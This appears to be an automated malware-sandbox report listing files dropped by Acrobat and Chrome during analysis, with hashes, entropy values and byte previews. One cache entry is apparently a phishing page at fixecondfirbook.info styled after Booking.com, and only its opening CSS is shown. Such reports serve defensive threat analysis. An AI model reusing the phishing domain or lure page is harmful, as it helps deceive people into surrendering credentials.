Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3a2e5774-ad13-4f5c-b85b-054eef8df6ec.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\8ebca478-69eb-4bc2-88dc-bffe8d49aaa8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\98585b42-d59f-4161-81fa-670e383c7f13.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\abf77ac5-85ff-4ffe-8658-71c1aa784506.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/6ZwYIGNPgeWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:CZwZG/WLxXGZN3mlind9i4ufFXpAXkru
MD5:	59456AEBFE40D51DCD738AF1B2D65A03
SHA1:	953094EDE30485AB6E071F8A0BF64D9BC1C34227
SHA-256:	1C21F3042C5972DE59996ED10C08D9072E9F2643F65ED69355CD5B2E7735067D
SHA-512:	CB3AF6D15DC5F111D80FD5B4599E204721ABEC89AD44D7C0A41C19E515E01F2541CE38C673628640A24DFCBA5D5AF242D95203FEBD1E9ADAE787F13419644E9D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_1138050447\LICENSE

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	5.11458514637545
Encrypted:	false
SSDEEP:	48:OBOCrYJ4rYJVwUCLHDy43HV713XEyMmZ3teTHn:LCrYJ4rYJVwUCHZ3Z13XtdUTH
MD5:	EE002CB9E51BB8DFA89640A406A1090A
SHA1:	49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2
SHA-256:	3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B
SHA-512:	D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF9177C
Malicious:	false
Preview:	// Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..// * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other materials provided with the.// distribution..// * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR.// A PARTICULAR

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_1138050447\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	6.018989605004616
Encrypted:	false
SSDEEP:	48:p/hUI1OwEU3AdIq7ak68O40E2szOxxUJ8BPFkf31U4PrHfqY3J5D:RnOwtQIq7aZ40E2sYUJAYRr/qYZ5D
MD5:	C4709C1D483C9233A3A66A7E157624EA
SHA1:	99A000EB5FE5CC1E94E3155EE075CD6E43DC7582
SHA-256:	225243DC75352D63B0B9B2F48C8AAA09D55F3FB9E385741B12A1956A941880D9
SHA-512:	B45E1FD999D1340CC5EB5A49A4CD967DC736EA3F4EC8B02227577CC3D1E903341BE3217FBB0B74765C72085AC51C63EEF6DCB169D137BBAF3CC49E21EA6468D7
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJVczFpOUt3Zm5uMThTVVR1RVItRXBDTTMwVzFkNTc0cGJwUlJSdGJYM0JVIn0seyJwYXRoIjoic2V0cy5qc29uIiwicm9vdF9oYXNoIjoiM0hiWThLc3poeEF6UDVSUU9fZEpvZGNwbEtpRXR0RWh2UmZMZEtjSTdjZyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImdvbnBlbWRna2pjZWNkZ2JuYWFiaXBwcGJtZ2ZnZ2JlIiwiaXRlbV92ZXJzaW9uIjoiMjAyNC4xMS44LjAiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"lGxZ1-AH7F8MftKSBdZiFULmC8hZkIHy1_2XIoU81Z5mK0wHVwNV7-55CBTcuuvKjTje-AnKLDoG4S0A_Jeg4lSQK5V_Q4f6JVqp5Vj_ge86YkRZEv4m1bjKRY4N17SHobwuH8Hc_kAugFIlG1LIDHnrm1N7ZWIqo3fVlnVqgSstmvFXAhBazgs1UYRi3hPjPM6e1q1i2N1mIUbxLvG41frGo2QJ8W5J3buUjzs-0y250k-YkadKAR0

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_1138050447\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.820000180714897
Encrypted:	false
SSDEEP:	3:SVzHL3phUmWRDNKydvgHVz:SBHLLUmWRbCp
MD5:	BBEC7670A2519FEB0627F17D0C0B5276
SHA1:	9C30B996F1B069F86EF7C0136DFAF7E614674DEA
SHA-256:	670A6F6BBADAB2C2BE63898525FCAF72E7454739E77C04D120BC1A46B6694CAC
SHA-512:	1ED4ED6AE2A2CBE86F9E8C6C7A2672EBB2F37DBE83D2BF09D875DB435ED63BF5F5CF60CA846865166F9A498095F6D61BD51B0A092E097430439E8A5A3A14CB15
Malicious:	false
Preview:	1.03cccbb22b17080279ea1707c9ab093c59f4f4dd09580c841cfa794cb372228d

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_1138050447\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.462192586591686
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFCmMARWHJqS1kULJVPY:F6VlM8aRWpqS1kSJVg
MD5:	084E339C0C9FE898102815EAC9A7CDEA
SHA1:	6ABF7EAAA407D2EAB8706361E5A2E5F776D6C644
SHA-256:	52CD62F4AC1F9E7D7C4944EE111F84A42337D16D5DE7BE296E945146D6D7DC15
SHA-512:	0B67A89F3EBFF6FEC3796F481EC2AFBAC233CF64FDC618EC6BA1C12AE125F28B27EE09E8CD0FADB8F6C8785C83929EA6F751E0DDF592DD072AB2CF439BD28534
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "First Party Sets",. "version": "2024.11.8.0".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_1138050447\sets.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	4.629347296880043
Encrypted:	false
SSDEEP:	96:Mon4mvC4qX19s1blbw/BNKLcxbdmf56MFJtRTGXvcxN43uP+8qJl:v5C4ql7BkIVmtRTGXvcxBsl
MD5:	8C702C686B703020BC0290BAFC90D7A0
SHA1:	EB08FF7885B4C1DE3EF3D61E40697C0C71903E27
SHA-256:	97D9E39021512305820F27B9662F0351E45639124F5BD29F0466E9072A9D0C62
SHA-512:	6137D0ED10E6A27924ED3AB6A0C5F9B21EB0E16A876447DADABD88338198F31BB9D89EF8F0630F4573EA34A24FB3FD3365D7EA78A97BA10028A0758E0A550739
Malicious:	false
Preview:	{"primary":"https://bild.de","associatedSites":["https://welt.de","https://autobild.de","https://computerbild.de","https://wieistmeineip.de"],"serviceSites":["https://www.asadcdn.com"]}.{"primary":"https://blackrock.com","associatedSites":["https://blackrockadvisorelite.it","https://cachematrix.com","https://efront.com","https://etfacademy.it","https://ishares.com"]}.{"primary":"https://cafemedia.com","associatedSites":["https://cardsayings.net","https://nourishingpursuits.com"]}.{"primary":"https://caracoltv.com","associatedSites":["https://noticiascaracol.com","https://bluradio.com","https://shock.co","https://bumbox.com","https://hjck.com"]}.{"primary":"https://carcostadvisor.com","ccTLDs":{"https://carcostadvisor.com":["https://carcostadvisor.be","https://carcostadvisor.fr"]}}.{"primary":"https://citybibleforum.org","associatedSites":["https://thirdspace.org.au"]}.{"primary":"https://cognitiveai.ru","associatedSites":["https://cognitive-ai.ru"]}.{"primary":"https://drimer.io","asso

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_577919974\Google.Widevine.CDM.dll

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2877728
Entropy (8bit):	6.868480682648069
Encrypted:	false
SSDEEP:	49152:GB6BoH5sOI2CHusbKOdskuoHHVjcY94RNETO2WYA4oPToqnQ3dK5zuqvGKGxofFo:M67hlnVjcYGRNETO2WYA4oLoqnJuZI5
MD5:	477C17B6448695110B4D227664AA3C48
SHA1:	949FF1136E0971A0176F6ADEA8ADCC0DD6030F22
SHA-256:	CB190E7D1B002A3050705580DD51EBA895A19EB09620BDD48D63085D5D88031E
SHA-512:	1E267B01A78BE40E7A02612B331B1D9291DA8E4330DEA10BF786ACBC69F25E0BAECE45FB3BAFE1F4389F420EBAA62373E4F035A45E34EADA6F72C7C61D2302ED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: V2yjcnvr6z.pdf, Detection: malicious, Browse Filename: Mmcdonald-Employee-Benefits.docx, Detection: malicious, Browse Filename: Davx2k2025.doc, Detection: malicious, Browse Filename: mitel.docx, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: Remittance.html, Detection: malicious, Browse Filename: Scan.html, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: Undelivered Messages.htm, Detection: malicious, Browse Filename: , Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....fd.........." ......(..........A&.......................................,.......,...`A.........................................V......V......`,......`+..p....+. )...p,......D.8....................C.(.....(.8...........p\..............................text.....(.......(................. ..`.rdata..h.....(.......(.............@..@.data....l......&.................@....pdata...p...`+..r.................@..@.00cfg..(.....+......p+.............@..@.gxfg....$....+..&...r+.............@..@.retplnel.... ,.......+..................tls.........0,.......+.............@....voltbl.D....@,.......+................._RDATA.......P,.......+.............@..@.rsrc........`,.......+.............@..@.reloc.......p,.......+.............@..B........................................................................................................................................

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_577919974\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1778
Entropy (8bit):	6.02086725086136
Encrypted:	false
SSDEEP:	48:p/hCdQAdJjRkakCi0LXjX9mqjW6JmfQkNWQzXXf2gTs:RtQ1aaxXrjW6JuQEWQKas
MD5:	3E839BA4DA1FFCE29A543C5756A19BDF
SHA1:	D8D84AC06C3BA27CCEF221C6F188042B741D2B91
SHA-256:	43DAA4139D3ED90F4B4635BD4D32346EB8E8528D0D5332052FCDA8F7860DB729
SHA-512:	19B085A9CFEC4D6F1B87CC6BBEEB6578F9CBA014704D05C9114CFB0A33B2E7729AC67499048CB33823C884517CBBDC24AA0748A9BB65E9C67714E6116365F1AB
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJHb29nbGUuV2lkZXZpbmUuQ0RNLmRsbCIsInJvb3RfaGFzaCI6Im9ZZjVLQ2Z1ai1MYmdLYkQyWFdBS1E5Nkp1bTR1Q2dCZTRVeEpGSExSNWMifSx7InBhdGgiOiJtYW5pZmVzdC5qc29uIiwicm9vdF9oYXNoIjoiYk01YTJOU1d2RkY1LW9Tdml2eFdqdXVwZ05pblVGakdPQXRrLTBJcGpDZyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6Im5laWZhb2luZGdnZmNqaWNmZmtncG1ubHBwZWZmYWJkIiwiaXRlbV92ZXJzaW9uIjoiMS4wLjI3MzguMCIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"KTPeHzS0ybFaz3_br3ASYWHjb6Ctul92067u2JMwtNYYm-4KxLiSkJZNBIzhm6hNSEW2p5kUEvHD0TjhhFGCZnWm9titj2bqJayCOAGxZb5BO74JJCRfy5Kwr1KSS4nvocsZepnHBmCiG2OV3by-Lyf1h1uU3X3bDfD92O0vJzrA8rwL2LrwIk-BolLo5nlM0I_MZwg8DhZ8SFBu9GGRVB2XrailDrv4SgupFE9gqA1HY6kjRjoyoAHbRRxZdBNNt9IKNdxNyaF9NcNRY8dAedNQ9Tw3YNp5jB7R9lcjO4knn58RdH2h_GiJ4l96StcXA4e7cqbJ77P-c

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_577919974\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.974403644129192
Encrypted:	false
SSDEEP:	3:SLVV8T+WSq2ykFDJp9qBn:SLVqZS5p0B
MD5:	D30A5BBC00F7334EEDE0795D147B2E80
SHA1:	78F3A6995856854CAD0C524884F74E182F9C3C57
SHA-256:	A08C1BC41DE319392676C7389048D8B1C7424C4B74D2F6466BCF5732B8D86642
SHA-512:	DACF60E959C10A3499D55DC594454858343BF6A309F22D73BDEE86B676D8D0CED10E86AC95ECD78E745E8805237121A25830301680BD12BFC7122A82A885FF4B
Malicious:	false
Preview:	1.c900ba9a2d8318263fd43782ee6fd5fb50bad78bf0eb2c972b5922c458af45ed

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3084_577919974\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	145
Entropy (8bit):	4.595307058143632
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFooG+HhFFKS18CWjhXLXGPQ3TRpvF/FHddTcplFHddTcVYA:F6VlM5PpKS18hRIA
MD5:	BBC03E9C7C5944E62EFC9C660B7BD2B6
SHA1:	83F161E3F49B64553709994B048D9F597CDE3DC6
SHA-256:	6CCE5AD8D496BC5179FA84AF8AFC568EEBA980D8A75058C6380B64FB42298C28
SHA-512:	FB80F091468A299B5209ACC30EDAF2001D081C22C3B30AAD422CBE6FEA7E5FE36A67A8E000D5DD03A30C60C30391C85FA31F3931E804C351AB0A71E9A978CC0F
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "windows-mf-cdm",. "version": "1.0.2738.0",. "accept_arch": [. "x64",. "x86_64",. "x86_64h". ].}

Chrome Cache Entry: 285

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	610
Entropy (8bit):	7.596151900307889
Encrypted:	false
SSDEEP:	12:6v/7iiaBY1azPX793IrzbrJif0E5zaB2klzfngSN17Aod/ja:rCMzPZ3Ir3rpkJk1/Ja
MD5:	6018807017AFEAD14417566F975FFDB4
SHA1:	2EE7C3239E4046E9567C8100DECD9ABE6093B79F
SHA-256:	99AF6690771B7B62A1325D0C0B38A9A0300C18921E4877DCF38A239B9C977502
SHA-512:	03C81DD6C526EE84F274F4BFE903FC694BFD4ED20B359C1A7BA09D940795316B816E869B59D4DA383AC8367B952E5ED7C7244795E1EDDB6976A358240421C789
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....)IDATX..?L.a...w1.......KS..Z..hM.].......c].R...1v.hL...tS[[.....H.1i].ld.!..ppx.....g.{s...}..!.@M.[...0......C ...9.P5....h......P...4o..'Ri...z.Tfn..D......2.y].F.5k...!..<.\|.[r......GdO....vE..$.&...`a...........e.N.._..l..Y..\...\|...;F........u..w... ...e.....5......h..=.58#2..>..\|^....Z._4u.....&Y.M.Z.S.Kt.as.q..2...D......N.%.n.A...g.W....@:S`1....2....e..a.C#h.d...#f..=.i.....qo..+.HN.O.k.:....O.............V&..1.l.t...SHe...\|....W.ts.c.....zj..=..3..b........?8...}....!.F._..m./.T.jv.P."..2.......C....d........A1.....IEND.B`.

Chrome Cache Entry: 286

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	169290
Entropy (8bit):	5.183926752751333
Encrypted:	false
SSDEEP:	768:lEFpFm7r2UBhZ/ntaFg7r2UBhZ/ntH7r2UBhZ/nt7FxwkBBWQitv7hZ/ntKSwkE5:WvVcrwqSbYl8Mg6
MD5:	F97AEEA08CDEB6E4FE2D65AD9AFB58FE
SHA1:	EA8D2860728437C237C439AB1391E459EF73A07B
SHA-256:	1ABB37D8A55D3CDEAA5BAE6705077BBD16AB2FCEC147CB2DBDE5A1650D1E62E2
SHA-512:	819D9306DA2454F98D18EEBC409C88C100F5F3219620B8D438D1976E99A0E8899EA07CE801E3AE28CE7B22C107D9D335E54E81481976DE5D131F5F544D824173
Malicious:	false
URL:	https://fixecondfirbook.info/
Preview:	.<!DOCTYPE html>.<html lang="en">..<head>. <meta charset="UTF-8">. <meta name="viewport" content="width=device-width, initial-scale=1.0">. <title>B..king...m</title>. <style>. body {. margin: 0;. font-family: Arial, sans-serif;. background-color: #ffffff;. color: #000000;. }.. header {. background-color: #003580;. color: white;. padding: 10px 40px;. display: flex;. height: 55px;. justify-content: space-between;. align-items: center;. left: 0;. }.. header h1 {. margin: 0;. font-size: 20px;. }.. .content {. max-width: 400px;. margin: -20px auto;. background: white;. padding: 0px;. border-radius: 8px;. /* box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); /. / text-align: center; /. }.. .content2 {. max-width: 400px;. margin: 60px auto;. background: white;. padding: 0px;. border-radius: 8px;. / box-shadow: 0 2px 10px rgba(0,

Chrome Cache Entry: 287

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	610
Entropy (8bit):	7.596151900307889
Encrypted:	false
SSDEEP:	12:6v/7iiaBY1azPX793IrzbrJif0E5zaB2klzfngSN17Aod/ja:rCMzPZ3Ir3rpkJk1/Ja
MD5:	6018807017AFEAD14417566F975FFDB4
SHA1:	2EE7C3239E4046E9567C8100DECD9ABE6093B79F
SHA-256:	99AF6690771B7B62A1325D0C0B38A9A0300C18921E4877DCF38A239B9C977502
SHA-512:	03C81DD6C526EE84F274F4BFE903FC694BFD4ED20B359C1A7BA09D940795316B816E869B59D4DA383AC8367B952E5ED7C7244795E1EDDB6976A358240421C789
Malicious:	false
URL:	https://fixecondfirbook.info/favicon.ico
Preview:	.PNG........IHDR... ... .....szz....)IDATX..?L.a...w1.......KS..Z..hM.].......c].R...1v.hL...tS[[.....H.1i].ld.!..ppx.....g.{s...}..!.@M.[...0......C ...9.P5....h......P...4o..'Ri...z.Tfn..D......2.y].F.5k...!..<.\|.[r......GdO....vE..$.&...`a...........e.N.._..l..Y..\...\|...;F........u..w... ...e.....5......h..=.58#2..>..\|^....Z._4u.....&Y.M.Z.S.Kt.as.q..2...D......N.%.n.A...g.W....@:S`1....2....e..a.C#h.d...#f..=.i.....qo..+.HN.O.k.:....O.............V&..1.l.t...SHe...\|....W.ts.c.....zj..=..3..b........?8...}....!.F._..m./.T.jv.P."..2.......C....d........A1.....IEND.B`.

Chrome Cache Entry: 288

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
